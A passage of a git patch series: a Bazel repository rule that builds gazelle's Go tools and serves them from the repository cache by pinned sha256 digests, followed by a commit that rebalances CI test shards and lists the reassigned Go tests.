downloads the module, +and gazelle, which writes its BUILD files. Nothing else can start until that +build finishes, and a fresh output base (every CI lane) pays it in full: +13-24 s of client loading on a 2-4 vCPU runner, before any go_deps fetch. + +The build is reproducible (-trimpath, -buildvcs=false, CGO_ENABLED=0), so +for a given gazelle release, Go SDK and host its output is fixed bytes. +_PINS records those bytes' sha256. This rule, which MODULE.bazel substitutes +for gazelle's (override_repo), asks the repository cache for each pinned +digest first: a hit is copied out after Bazel re-hashes it, so a runner cache +restored from elsewhere can only ever yield the pinned bytes. On a miss (or +an unpinned gazelle, Go or host) it builds exactly as gazelle does, and when +the result matches the pins it enters the repository cache, so the next +fetch, and the next CI run that restores that cache, skips the build. + +A gazelle or Go SDK bump changes the key: until _PINS gets the new entry +(the rule prints the digests to add), fetches build from source, as before. +""" + +_TOOLS = ["fetch_repo", "gazelle", "generate_repo_config"] + +# "//_" -> {tool: sha256}. +_PINS = { + "0.53.0/go1.26.7/linux_amd64": { + "fetch_repo": "6780b48003af40859f849a4cd4ae291473565a057447591a6cbf111eb45ea9e1", + "gazelle": "4c1300d28f01dbed14661010e6beb8d3595425a4ac4c57b97fd094bcf9d21e9f", + "generate_repo_config": "6e21ac3f7af18822045718a70118a45ba9d48a964558c483ff013bbe569f6b2f", + }, + "0.53.0/go1.26.9/linux_amd64": { + "fetch_repo": "8b1288089311dc63c3d4b04c433d9ba11df5b09b5e8fdb1f8db0804f360ca6c0", + "gazelle": "1b764f6d9ad08e324bdcab429c3105815b8914f289d594acfc791bdac2bc2b2c", + "generate_repo_config": "8fab5073786aa587248822b73733a3edde6a33bd34d6ae69c274536811b5f74a", + }, +} + +# gazelle's go_repository_tools.bzl _GO_REPOSITORY_TOOLS_BUILD_FILE. +_BUILD_FILE = """\ +package(default_visibility = ["//visibility:public"]) + +filegroup( + name = "fetch_repo", + srcs = ["bin/fetch_repo{ext}"], +) + +filegroup( + name = "gazelle", + srcs = ["bin/gazelle{ext}"], +) + +filegroup( + name = "generate_repo_config", + srcs = ["bin/generate_repo_config{ext}"], +) + +exports_files(["ROOT"]) +""" + +# Never fetched: a repository cache miss must fall through to the source +# build, not to the network. +_NO_URL = "file:///nonexistent/go_repository_tools" + +def _host(rctx): + os = rctx.os.name.lower() + if os.startswith("linux"): + os = "linux" + elif os.startswith("mac"): + os = "darwin" + elif os.startswith("windows"): + os = "windows" + arch = {"x86_64": "amd64", "aarch64": "arm64"}.get(rctx.os.arch, rctx.os.arch) + return os + "_" + arch + +def _gazelle_version(rctx): + for line in rctx.read(rctx.attr._gazelle_module).splitlines(): + line = line.strip() + if line.startswith("version = \""): + return line.split("\"")[1] + fail("no version in @gazelle//:MODULE.bazel") + +def _go(rctx, go, args, env, **kwargs): + """Runs go with exactly env, like gazelle's env_execute: no client GOFLAGS, GOARCH, ...""" + env = dict(env, GOROOT = str(go.dirname.dirname), GOTOOLCHAIN = "local") + if rctx.os.name.lower().startswith("windows"): + return rctx.execute([str(go)] + args, environment = env, **kwargs) + return rctx.execute(["env", "-i"] + ["%s=%s" % kv for kv in env.items()] + [str(go)] + args, **kwargs) + +def _build(rctx, go, gazelle_version, out_dir): + """gazelle's go_repository_tools build (its go.env, flags and packages), into out_dir.""" + scratch = rctx.path("_scratch") + env = { + "GOCACHE": str(scratch) + "/gocache", + "GOPATH": str(scratch) + "/gopath", + "GOROOT_FINAL": "GOROOT", + "CGO_ENABLED": "0", + "HOME": str(scratch), + } + for k in ["PATH", "GOPROXY", "TMP", "TMPDIR"]: + v = rctx.getenv(k) + if v: + env[k] = v + ldflags = [ + "-w", + "-s", + "-X", + "github.com/bazel-contrib/bazel-gazelle/v2/cmd/gazelle/update.BazelModuleVersion=" + gazelle_version, + "-X", + "github.com/bazel-contrib/bazel-gazelle/v2/cmd/gazelle/update.IsBazelModule=True", + ] + result = _go( + rctx, + go, + [ + "build", + "-o", + str(rctx.path(out_dir)) + "/", + "-ldflags", + " ".join(ldflags), + "-trimpath", + "-buildvcs=false", + "github.com/bazel-contrib/bazel-gazelle/v2/cmd/gazelle", + "github.com/bazelbuild/bazel-gazelle/cmd/fetch_repo", + "github.com/bazelbuild/bazel-gazelle/cmd/generate_repo_config", + ], + env, + working_directory = str(rctx.path(rctx.attr._gazelle_module).dirname), + ) + if result.return_code: + fail("building gazelle's go_repository tools: " + result.stderr) + + # The module cache is read-only; make it removable. + rctx.execute(["chmod", "-R", "u+w", str(scratch)]) + rctx.delete(scratch) + +def _sha256(rctx, path): + result = rctx.execute(["sha256sum", str(path)]) + return result.stdout.split(" ")[0] if result.return_code == 0 else "unknown" + +def _go_repository_tools_impl(rctx): + ext = ".exe" if rctx.os.name.lower().startswith("windows") else "" + go = rctx.path(Label("@go_sdk//:bin/go" + ext)) + rctx.watch(go) + result = _go(rctx, go, ["env", "GOVERSION"], {}) + if result.return_code: + fail("go env GOVERSION: " + result.stderr) + gazelle_version = _gazelle_version(rctx) + key = "%s/%s/%s" % (gazelle_version, result.stdout.strip(), _host(rctx)) + pins = _PINS.get(key) + names = {tool: "%s%s" % (tool, ext) for tool in _TOOLS} + + rctx.file("BUILD.bazel", _BUILD_FILE.format(ext = ext), executable = False) + rctx.file("ROOT", "", executable = False) + metadata = rctx.repo_metadata(reproducible = True) if hasattr(rctx, "repo_metadata") else None + + if not pins: + _build(rctx, go, gazelle_version, "bin") + sums = {tool: _sha256(rctx, rctx.path("bin/" + names[tool])) for tool in _TOOLS} + + # buildifier: disable=print + print("go_repository_tools: no pins for %s, built from source. To serve it from the repository cache, add %r: %r to _PINS in tools/bazel/go_repository_tools.bzl." % (key, key, sums)) + return metadata + + # The repository cache, by pinned digest. + if all([ + rctx.download( + url = _NO_URL, + output = "bin/" + names[tool], + sha256 = pins[tool], + executable = True, + allow_fail = True, + ).success + for tool in _TOOLS + ]): + return metadata + + # A miss: build, and let the downloader check each binary against its + # pin, which also stores a match in the repository cache. + rctx.delete("bin") + _build(rctx, go, gazelle_version, "_build") + stale = {} + for tool in _TOOLS: + built = rctx.path("_build/" + names[tool]) + if not rctx.download( + url = "file://" + str(built), + output = "bin/" + names[tool], + sha256 = pins[tool], + executable = True, + allow_fail = True, + ).success: + stale[tool] = _sha256(rctx, built) + if stale: + # buildifier: disable=print + print("go_repository_tools: %s built from source with digests %r, not _PINS[%r]; the build is used but not cached. Update _PINS in tools/bazel/go_repository_tools.bzl." % (key, stale, key)) + rctx.delete("bin") + for tool in _TOOLS: + rctx.symlink("_build/" + names[tool], "bin/" + names[tool]) + else: + rctx.delete("_build") + return metadata + +go_repository_tools = repository_rule( + implementation = _go_repository_tools_impl, + doc = "gazelle's go_repository_tools (fetch_repo, gazelle, generate_repo_config), served from the repository cache when pinned.", + attrs = { + "_gazelle_module": attr.label(default = "@gazelle//:MODULE.bazel"), + }, +) From b162e0a4821b1cbf16e6c3b360d0d994c0844a9f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 08:02:40 +0000 Subject: [PATCH 074/213] ci(bazel): cut embedded/test lane long shards (served template, bulk seed, rebalance) (#7416) * ci(bazel): cut embedded/test lane long shards (served template, bulk seed, rebalance) Embedded lane (bazel-embedded): - RunBatchGetterAcceptsExactlyTheCap seeds its 1000 issues through a new optional BatchGetterFixture.CreateIssues hook (one write) instead of 1000 single-row commits. Wired for the embedded, served and dolt-server legs; the UOW leg keeps the per-row fallback. Same rows, same GetMany assertions. TestBatchGetterContract 199s -> ~7s and TestServedBatchGetterContract 204s -> ~7s on rbe-west. - The served-surface harness (newServedEnv) copies one per-process, freshly initialized reference workspace instead of initializing an embedded Dolt schema per case, the same pristine-template pattern internal/storage/embeddeddolt's tests already use (bd-7q32v). //internal/httpclient:httpclient_served_test: 3,713 -> ~1,200 shard-seconds; 24 -> 16 shards; heaviest shard 390s -> ~108s. - //internal/storage/embeddeddolt:embeddeddolt_embedded_test: re-measured every test on rbe-west (scripts/ci/embedded_storage_test_durations.json) and repacked 15 -> 20 shards (packed heaviest ~110s; was 352s in CI). Test lane (bazel-test): - //internal/httpclient:httpclient_test: unsharded (137-228s) -> 2 shards (76s / 97s measured). Bead: ga-vnycm2.3 Co-Authored-By: Claude Opus 5.5 (1M context) * test(dolt): seed the BatchGetter cap case without prefix validation The dolt-server leg's shared test store is configured with prefix "test", so the batch CreateIssues path's prefix validation refused the fixture's bge-* ids (the per-row CreateIssue the other seeds use does not validate). Bead: ga-vnycm2.3 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): shard //internal/storage/embeddeddolt:embeddeddolt_test 9 ways At 8 round-robin shards one shard drew the package's three heaviest tests (153s on rbe-west in this PR's test lane); 9 spreads them. Bead: ga-vnycm2.3 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .../scripts/embedded-storage-test-shards.txt | 801 +++++++++--------- .github/workflows/bazel.yml | 37 +- backend/conformance/batch_getter_contract.go | 26 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 4 +- internal/httpclient/BUILD.bazel | 28 +- .../httpclient/served_batch_getter_test.go | 1 + internal/httpclient/served_harness_test.go | 47 +- internal/httpclient/served_test.go | 3 + .../dolt/batch_getter_contract_test.go | 9 + internal/storage/embeddeddolt/BUILD.bazel | 16 +- .../batch_getter_contract_test.go | 1 + .../ci/embedded_storage_test_durations.json | 754 +++++++++-------- scripts/shard_manifest_test.go | 6 +- 13 files changed, 918 insertions(+), 815 deletions(-) diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 96250f443..c92319f31 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -114,12 +114,12 @@ # # Format: # -# 15-shard split for the Bazel-only embedded-Dolt storage tier +# 20-shard split for the Bazel-only embedded-Dolt storage tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed # longest-processing-time-first by measured wall-time from # scripts/ci/embedded_storage_test_durations.json (see that file for provenance # and its "relative weight, not absolute SLA" caveat). -# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 15 +# Regenerate with scripts/ci/gen_embedded_storage_shard_manifest.py 20 # --weights=duration --write after adding or removing Test* functions in # internal/storage/embeddeddolt/*_test.go. --write is incremental: it # keeps every already-assigned test on its current shard and only places @@ -134,413 +134,418 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -15 1 TestBatchApplyContract -15 1 TestEmbeddedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow -15 1 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting -15 1 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn -15 1 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure -15 1 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID -15 1 TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix -15 1 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState -15 1 TestEmbeddedMergeAndSettleMetadataConflict -15 1 TestEmbeddedMergeAndSettleRefusesUnknownTable -15 1 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain -15 1 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides -15 1 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse -15 1 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt -15 1 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse -15 1 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection -15 1 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer -15 1 TestEmbeddedRoleFixtureKitHooksAreUsable -15 1 TestLifecycleCreateContract -15 1 TestMergeWithStrategy_OursKeepsLocal +20 1 TestCountsWithMissingWispPlaneTables +20 1 TestCreateBatchFastPathsMatchPerRow_Embedded +20 1 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween +20 1 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder +20 1 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle +20 1 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules +20 1 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue +20 1 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates +20 1 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry +20 1 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor +20 1 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue +20 1 TestIgnoredCursorHealResumeRespectsOperatorOverride +20 1 TestReadyCounterContract +20 1 TestReclaimRefusesForeignReplicaLease -15 2 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase -15 2 TestCleanGitRemoteCacheGarbage -15 2 TestCreateBatchFastPathsMatchPerRow_Embedded -15 2 TestDepRekeyMarkerStillInIgnoredSeries -15 2 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles -15 2 TestDualWriteFixtureKitIsWired -15 2 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded -15 2 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges -15 2 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop -15 2 TestEmbeddedDependencyEditorRefusesAGhostSource -15 2 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane -15 2 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe -15 2 TestEmbeddedIssueOperationsCreateAggregatesRelations -15 2 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers -15 2 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites -15 2 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge -15 2 TestEmbeddedRelationsDirectionSelectsTheInverseGraph -15 2 TestEmbeddedRelationsLeavesTheCallersRequestAlone -15 2 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether -15 2 TestEmbeddedRemoteMigrateGate_BlocksReopen -15 2 TestGitRefPinsMatchDolt -15 2 TestHeartbeatRejectsWispEmbedded -15 2 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore -15 2 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern -15 2 TestLeaseLifecycleEmbedded -15 2 TestLenientGateWarningBody_ShapedDecisions -15 2 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery -15 2 TestSchemaAfterInit -15 2 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed -15 2 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword +20 2 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed +20 2 TestEmbeddedConfigCommitStagesConfig +20 2 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest +20 2 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent +20 2 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps +20 2 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering +20 2 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes +20 2 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder +20 2 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne +20 2 TestEmbeddedRelationsRefusesTheZeroDirection +20 2 TestEmbeddedReopenIssueCategorySemantics +20 2 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent +20 2 TestEventsJournalAccessor +20 2 TestGetDependentRecordsEmbedded +20 2 TestLifecycleCloseReopenContract +20 2 TestOpenReturnsCachedStore +20 2 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials -15 3 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest -15 3 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape -15 3 TestEmbeddedClaimerRefusesAWispIDAsNotFound -15 3 TestEmbeddedConfigCommitStagesConfig -15 3 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes -15 3 TestEmbeddedDependencyEditorRefusalWritesNothing -15 3 TestEmbeddedDependencyEditorRemoveIsIdempotent -15 3 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove -15 3 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace -15 3 TestEmbeddedMergeAndSettleFKCascadeRepair -15 3 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn -15 3 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing -15 3 TestEmbeddedReaderReadyLimitBoundary -15 3 TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven -15 3 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength -15 3 TestEmbeddedRenameKeepsDependencyIDsDeterministic -15 3 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded -15 3 TestEventsJournalReadRefusesAnInteriorHole -15 3 TestForeignSkipDetailIsBounded -15 3 TestListWisps -15 3 TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict -15 3 TestPushCommitsPendingChangesFirst -15 3 TestUpdateMergeOps_DoltEngine_TwoIssues -15 3 TestWithPeerAuth_RestoresAbsentEnv +20 3 TestBatchApplyContract +20 3 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget +20 3 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate +20 3 TestEmbeddedDependencyEditorRefusalWritesNothing +20 3 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp +20 3 TestEmbeddedIssueOperationsRequestValuesAreNotMutated +20 3 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance +20 3 TestEmbeddedReaderDoesNotMutateTheCallerRequest +20 3 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress +20 3 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows +20 3 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary +20 3 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff +20 3 TestGetIssueCommentsPageEmbedded +20 3 TestGetReadyWorkIncludeEphemeralAppliesWispFilters +20 3 TestJournalContract +20 3 TestSearchWithMissingWispPlaneTables -15 4 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra -15 4 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed -15 4 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded -15 4 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane -15 4 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt -15 4 TestEmbeddedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder -15 4 TestEmbeddedCommitToleratesNothingToCommit -15 4 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest -15 4 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy -15 4 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape -15 4 TestEmbeddedReaderListEmptyPageIsWellFormed -15 4 TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary -15 4 TestEmbeddedReopenIssueCategorySemantics -15 4 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit -15 4 TestEventsAutoPruneThrottleSkipsTheSecondPass -15 4 TestEventsJournalRestartAndRetentionBoundary -15 4 TestIgnoredCursorHealNeverResurrectsRolledBackVersions -15 4 TestMain -15 4 TestMemoriesContract -15 4 TestPromoteClearsNoHistory -15 4 TestRemoteVerbPlainRemoteKeepsAmbientEnv -15 4 TestReopenIssue -15 4 TestWithPeerAuth -15 4 TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials +20 4 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes +20 4 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded +20 4 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor +20 4 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses +20 4 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose +20 4 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge +20 4 TestEmbeddedMergeAndSettleReportsOperatorConflicts +20 4 TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing +20 4 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet +20 4 TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength +20 4 TestEventsSinceEmbedded +20 4 TestIgnoredCursorHealConvergesFromEveryCrashState +20 4 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle +20 4 TestReleaserContract +20 4 TestRemoteGitDataRefOnEngine +20 4 TestUpdateMergeOps_DoltEngine_TwoIssues +20 4 TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword -15 5 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase -15 5 TestBlockingAnnotatorContract -15 5 TestBootstrapperContract -15 5 TestBuildDSN_WithDatabase -15 5 TestCrossRecordInvariantContract -15 5 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch -15 5 TestEmbeddedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween -15 5 TestEmbeddedDepRekeyConvergesRenameChain -15 5 TestEmbeddedDependencyEditorAcceptsADiamond -15 5 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants -15 5 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge -15 5 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing -15 5 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore -15 5 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables -15 5 TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults -15 5 TestEmbeddedMergeAndSettleReportsOperatorConflicts -15 5 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation -15 5 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows -15 5 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder -15 5 TestEmbeddedReaderListMaxRowsIsHonored -15 5 TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest -15 5 TestEmbeddedRelationsAnswersInThePinnedOrder -15 5 TestEventsAutoPruneBoundsTheJournalToTheFloors -15 5 TestExpectedRevisionContract -15 5 TestGetDependentRecordsForIssuesEmbedded -15 5 TestLargeBatchApplyWallClock_Embedded -15 5 TestLargeGraphCreateTiming_Embedded -15 5 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance -15 5 TestOpenReturnsCachedStore -15 5 TestPartitionWispIDs -15 5 TestRetentionContract -15 5 TestWithPeerAuth_KeyMismatchFailsClosed +20 5 TestCommitAllOutOfBandChangeAndHonestNoOp +20 5 TestDescendantWalkReachesEveryTargetKindAndStopsOnCycles +20 5 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure +20 5 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone +20 5 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge +20 5 TestEmbeddedDependencyEditorValidationRefusalsWriteNothing +20 5 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure +20 5 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender +20 5 TestEmbeddedMergeAndSettleMetadataConflict +20 5 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch +20 5 TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt +20 5 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary +20 5 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants +20 5 TestEmbeddedRelationsResolvesAWispAnchor +20 5 TestIgnoredCursorHealNeverResurrectsRolledBackVersions +20 5 TestLifecycleCreateContract +20 5 TestPushCommitsPendingChangesFirst -15 6 TestCreateIssuesRejectStaleUpserts -15 6 TestDecryptPassword_KeyMismatchNamesTheLocalKey -15 6 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit -15 6 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim -15 6 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges -15 6 TestEmbeddedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate -15 6 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes -15 6 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion -15 6 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim -15 6 TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay -15 6 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState -15 6 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin -15 6 TestEmbeddedSyncCommitsConfigBeforeMerge -15 6 TestGetIssue -15 6 TestHeartbeatMatchesActorAcrossSpellingEmbedded -15 6 TestHistory_NullTextColumns -15 6 TestIsBlockedBatchEmbedded -15 6 TestLargeBatchApplyStatementCounts356_Embedded -15 6 TestRemoteGitDataRefOnEngine -15 6 TestRenameLabel -15 6 TestRenameLabelMintsOneVersionPerTouchedBead -15 6 TestRunInTransactionPostCommitStageFailureIsIndeterminate -15 6 TestStatsReporterContract -15 6 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials -15 6 TestWithPeerAuth_RestoresEnvWhenCallbackFails +20 6 TestConcurrencyMultiProcess +20 6 TestConcurrentOpenReturnsCached +20 6 TestDualWriteFixtureKitIsWired +20 6 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed +20 6 TestEmbeddedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt +20 6 TestEmbeddedDependencyEditorAcceptsADiamond +20 6 TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape +20 6 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone +20 6 TestEmbeddedLenientOpenWarning_DataBehind +20 6 TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder +20 6 TestEmbeddedReaderReadyDeferredAndEphemeralGates +20 6 TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer +20 6 TestEventsJournalRestartAndRetentionBoundary +20 6 TestGraphCounterContract +20 6 TestGraphWalkPlansHonorJoinHints +20 6 TestHistoryPresenceContract +20 6 TestPromoteClearsNoHistory +20 6 TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery -15 7 TestCommitAllOutOfBandChangeAndHonestNoOp -15 7 TestConcurrencyMultiProcess -15 7 TestConcurrentOpenReturnsCached -15 7 TestDualWriteContractFlagOff -15 7 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty -15 7 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy -15 7 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge -15 7 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType -15 7 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane -15 7 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp -15 7 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender -15 7 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext -15 7 TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet -15 7 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType -15 7 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows -15 7 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists -15 7 TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne -15 7 TestEventsJournalAccessor -15 7 TestHistoryPresenceContract -15 7 TestJournalContract -15 7 TestLifecycleCloseReopenContract -15 7 TestReclaimAnyReplicaOverride -15 7 TestTreeWalkerContract -15 7 TestWithPeerAuth_DivergedRemoteURLFailsClosed +20 7 TestCreateIssuesRejectStaleUpserts +20 7 TestDecryptPassword_KeyMismatchNamesTheLocalKey +20 7 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex +20 7 TestEmbeddedDependencyEditorSnapshotsTheRequest +20 7 TestEmbeddedDependencyEditorWritesTheTargetIntoItsTypedColumn +20 7 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps +20 7 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged +20 7 TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn +20 7 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary +20 7 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage +20 7 TestEmbeddedRelationsDirectionSelectsTheInverseGraph +20 7 TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether +20 7 TestEmbeddedRelationsResolvesTheAnchorIDExactly +20 7 TestGetDependentRecordsForIssuesEmbedded +20 7 TestHeartbeatRejectsWispEmbedded +20 7 TestPromoteStillWorksWithCollisionGuard +20 7 TestUpdateMergeOps_DoltEngine +20 7 TestWithPeerAuth -15 8 TestAddLabel -15 8 TestBuildDSN_NoDatabase -15 8 TestCleanGitRemoteCacheGarbage_NoCacheDir -15 8 TestCreateBatchFastPathsMatchPerRowLarge_Embedded -15 8 TestDoltCommitResponseLossIsIndeterminate -15 